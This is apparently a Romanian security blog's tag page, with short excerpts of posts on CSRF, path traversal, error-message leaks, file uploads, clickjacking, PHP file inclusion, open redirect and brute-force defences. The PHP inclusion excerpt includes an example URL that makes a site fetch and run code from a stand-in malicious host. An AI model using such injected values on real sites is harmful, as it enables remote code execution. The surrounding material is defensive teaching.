Posts Tagged masura de control

Cross Site Request Forgery (CSRF): Descriere, exemple şi măsuri de control.

Vulnerabilitatea Cross-Site Request Forgery (CSRF) [se pronunţă Sea-Surf] se caracterizează prin faptul că aplicaţia web nu poate efectua verificări suficiente, pentru a determina dacă cererea primită de aplicaţie este consistentă, formată corect şi dacă a fost efectuată într-adevăr de către utilizatorul care a efectuat cererea şi nu de către altcineva.

Dacă un server/o aplicaţie web este concepută pentru a primi o cerere din partea unui client, fără nici un mecanism de verificare a autencităţii cererii (dacă aceasta a fost trimisă în mod intenţionat), atunci ar putea fi posibil ca un atacator să forţeze browserul unui client să efectuieze o cerere neintenţionată către serverul web, care va fi tratată ca o cerere autentică. Exploatarea acestei vulnerabilităţi poate fi efectuată prin intermediul unui URL, a unei imagini, a unei cereri XMLHttpRequest, etc. şi poate avea drept consecinţă divulgarea de date sau executarea de cod neintenţionat.

Exploatarea vulnerabilităţii Cross-Site Request Forgery(CSRF) este un alt tip de atac. În loc să exploateze încrederea pe care o are un utilizator într-o aplicaţie web, atacurile CSRF exploatează încrederea pe care o are un site în utilizatorii săi.
Read the rest of this entry »

, , ,

1 Comment

Expunerea informaţiei prin mesajele de eroare

Informaţia sensibilă poate fi critică (cum ar fi parola), sau poate fi utilă pentru lansarea altor atacuri asupra altor subsisteme sau module. În cazul în care un atac eşuează, atacatorul poate utiliza informaţia din mesajele de eroare furnizate de server sau aplicaţie, pentru a lansa un alt atac. De exemplu o încercare de exploatare a vulnerabilităţii path traversal, ar putea furniza calea completă a aplicaţiei în sistemul de fişiere. La rîndul său, acest lucru ar putea fi utilizat pentru determinarea numărului de elemente “..” sau indicarea unei căi de acces către un fişier sau directoriu ţintă. Un atac ce utilizează vulnerabilitatea SQL Injection ar putea dezvălui structura tabelului, bazei de date, sau expune logica de interogare, şi posibil chiar parole sau informaţii sensibile utilizate în interogare. Read the rest of this entry »

, , , ,

1 Comment

Path Traversal: Descriere, exemple, riscuri implicate şi măsuri de control

Path Traversal  – Limitarea insuficientă a căii fişierelor/directoriilor în sistemul de fişiere de un directoriu cu acces interzis.

Path Traversal se manifestă ca o vulnerabilitate a unei aplicaţii care utilizează datele de intrare ca parte componentă a căii destinate pentru identificarea unui fişier sau directoriu, şi accesarea directoriului părinte al căruia este interzisă, insă metodele de validare a datelor de intrare nu sunt corecte sau lipsesc. Astfel prin intermediul acestei vulnerabilităţi se poate obţine acces la conţinutul fişierelor şi directoriilor restricţionate iniţial,care se afla în afara directoriului predefinit.
Read the rest of this entry »

, , , , ,

4 Comments

Încărcarea fişierelor – Riscuri implicate şi măsuri de control

Dificultăţile care ar putea apărea în procesul de încărcare a fişierelor (file upload) trebuie identificate în timp util, şi identificarea riscurilor trebuie să aibă loc în procesul de planificare al proiectului. În unele cazuri dificultăţile pot fi evitate prin modificarea cerinţelor proiectului. Unele din întrebările critice la care trebuie ştiut răspunsul de la bun început sunt:

1. Cine va avea permisiunea de a încărca fişiere?  Doar utilizatorii autentificaţi sau orice utilizator al sistemului? Read the rest of this entry »

, , , ,

2 Comments

Metode de contraatac la atacurile asupra aplicaţiilor web

Conform politicilor şi regulamentelor interne, atunci cînd aplicaţia web este atacată, singurul lucru care îl putem face este să menţinem poziţia de apărare şi să primim loviturile cu decenţă. Este ilegal sau împotriva politicii organizaţionale de a contraataca – aceasta e treaba poliţiei. Cu toate acestea, eficacitatea de aplicare a legii este marginală şi atacatorii acţionează fără constrîngeri. Ei nu au nici un motiv de a opri atacul asupra sistemelor noastre şi nu e nimic ce am putea face decît să încercăm să îi blocăm. Cu toate acestea, există o modalitate de a contraataca într-un mod care nu implică vreun risc legal şi răspundere civilă. Militarii spun că, dacă un duşman nu poate fi distrus, el trebuie orbit; dacă nu poate fi orbit, el trebuie indus în eroare.
Read the rest of this entry »

,

1 Comment

ClickJacking: descriere şi măsuri de control

ClickJacking este o tehnică maliţioasa de a induce în eroare utilizatorii web în dezvăluirea de informaţii confidenţiale sau preluarea controlului asupra calculatorului în timp ce se face click pe paginile web aparent inofensive. Tehnica de ClickJacking profită de o vulnerabilitate într-o varietate mare de browsere şi platforme şi ia forma de cod încorporat sau script care se poate executa fără ştirea utilizatorului, cum ar fi clickul pe un buton care aparent efectuează o alta functie.

Termenul “ClickJacking” a fost inventat de către Jeremiah Grossman şi Robert Hansen in 2008. Exploitul este, de asemenea cunoscut ca UI redressing. ClickJacking poate fi inţeles şi ca un exemplu de confuzie.

ClickJacking e posibil de realizat deoarece caracteristicile aparent inofensive ale paginilor HTML, pot fi utilizate pentru a efectua acţiuni neaşteptate şi ofensive. Read the rest of this entry »

, , ,

No Comments

Includerea fişierelor PHP, descriere şi măsuri de control

Ce presupune “Includerea fişierelor PHP” (PHP File Inclusion)? E o greşeală care exploatează utilizarea neintenţionată a unei particularităţi periculoase specifice PHP. Un limbaj de programare complet, ca PHP, de obicei oferă facilitatea de a include fişiere suplimentare spre execuţie. Această caracteristică este utilizată frecvent pentru a include biblioteci, anteturi sau alte elemente de cod comune pentru mai multe pagini sau script-uri. PHP are implementată o particularitate suplimentară a acestei funcţionalităţi: Fişierul sau directoriul inclus nu e obligatoriu să fie unul local. Cu alte cuvinte, dacă un răufăcător reuşeşte să modifice numele fişierului indicat spre a fi inclus în unul de tip

http://exemple.com/?fisier=http://exemple-maliţioase.com/cod.php

atunci output-ul acestui URL va fi inclus şi executat în contextul scriptului local. Read the rest of this entry »

, , ,

No Comments

Open Redirect – descriere şi măsuri de protecţie

Redirecţionare deschisă (Open Redirect) – O aplicaţie web acceptă date de intrare controlate de utilizator care specifică un link către un site extern, şi foloseşte această legătură într-o redirecţionare. Acest lucru favorizează atacurile phishing.

Redirecţionarea este frecvent utilizată în toate aplicatiile web pentru diverse scopuri. În pagina de logare, e o practică comună de a redirecţiona utilizatorul la o altă pagină, o dată ce utilizatorul s-a autentificat. Uneori utilizatorul merge direct la o pagina de conţinut şi este redirecţionat către o pagină de logare, pentru a redirecţiona utilizatorul înapoi la pagina cu conţinut, un link de redirectionare este uneori utilizat. Read the rest of this entry »

, , , ,

2 Comments

Măsuri de protecţie împotriva atacurilor brute-force

Un atac de tip brute-force este un atac în care toate opţiunile posibile sunt verificate, fără a acorda o valoare specială opţiunilor mult mai probabile, formal mai este cunoscut sub numele de atac de enumerare (enumeration attack) – atacul prin care se enumeră toate posibilităţile.

În ceea ce priveşte controlul accesului, atacurile de tip brute-force implică de obicei un singur atacator care încearcă să se logheze cu un număr foarte mare de tentative. În majoritatea cazurilor, numele de utilizator utilizate sunt cunoscute, iar parola este ghicită.

Deşi nu este un punct de vedere tehnic, un atac brute-force este foarte asemănător cu un atac după dicţionar. Cea mai mare diferenţă este că un atac după dicţionar enumeră parolele după o listă de posibilităţi probabile, iar brute-force prin intermediul enumerârii unei liste a tuturor posibilităţilor. Read the rest of this entry »

,

1 Comment